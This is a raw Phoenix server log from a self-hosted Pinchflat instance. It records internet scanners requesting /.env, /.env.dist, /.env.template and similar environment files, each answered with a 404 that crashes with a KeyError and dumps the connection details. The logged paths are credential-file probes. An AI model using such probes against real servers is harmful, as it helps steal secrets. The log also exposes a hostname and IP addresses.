s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.776 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:39.777 [error] #PID<0.9528.0> running PinchflatWeb.Endpoint (connection #PID<0.9527.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.dist ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9527.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9528.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.dist", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDATR0Y9ulRVkAAbhC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9527.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9527.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9528.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.dist", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDATR0Y9ulRVkAAbhC"} ], scheme: :http, sc (truncated) 15:21:39.937 [info] GET /.env 15:21:39.938 [debug] QUERY OK source="settings" db=0.2ms idle=448.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.938 [debug] QUERY OK source="settings" db=0.0ms idle=397.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:39.938 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:39.938 [error] #PID<0.9530.0> running PinchflatWeb.Endpoint (connection #PID<0.9529.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9529.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9530.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAT4WgaTXN8sAAbiC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9529.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9529.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9530.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAT4WgaTXN8sAAbiC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpo (truncated) 15:21:40.014 [info] GET /.env.template 15:21:40.014 [debug] QUERY OK source="settings" db=0.2ms idle=473.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.014 [debug] QUERY OK source="settings" db=0.0ms idle=238.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.015 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:40.015 [error] #PID<0.9532.0> running PinchflatWeb.Endpoint (connection #PID<0.9531.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.template ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9531.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.template", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34730}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9532.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.template", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAUKkGlPeSG4AAbjC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9531.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.template", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34730}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9531.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.template", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34730}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9532.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.template", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAUKkGlPeSG4AAbjC"} ], sch (truncated) 15:21:40.253 [info] GET /.env.production.local 15:21:40.254 [debug] QUERY OK source="settings" db=0.1ms idle=477.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.254 [debug] QUERY OK source="settings" db=0.0ms idle=315.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:40.254 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:40.254 [error] #PID<0.9534.0> running PinchflatWeb.Endpoint (connection #PID<0.9533.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9534.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAVDqBfEk0jwAAbkC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9533.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9534.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-r (truncated) 15:21:40.488 [info] GET /.env.development.local 15:21:40.488 [debug] QUERY OK source="settings" db=0.1ms idle=550.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 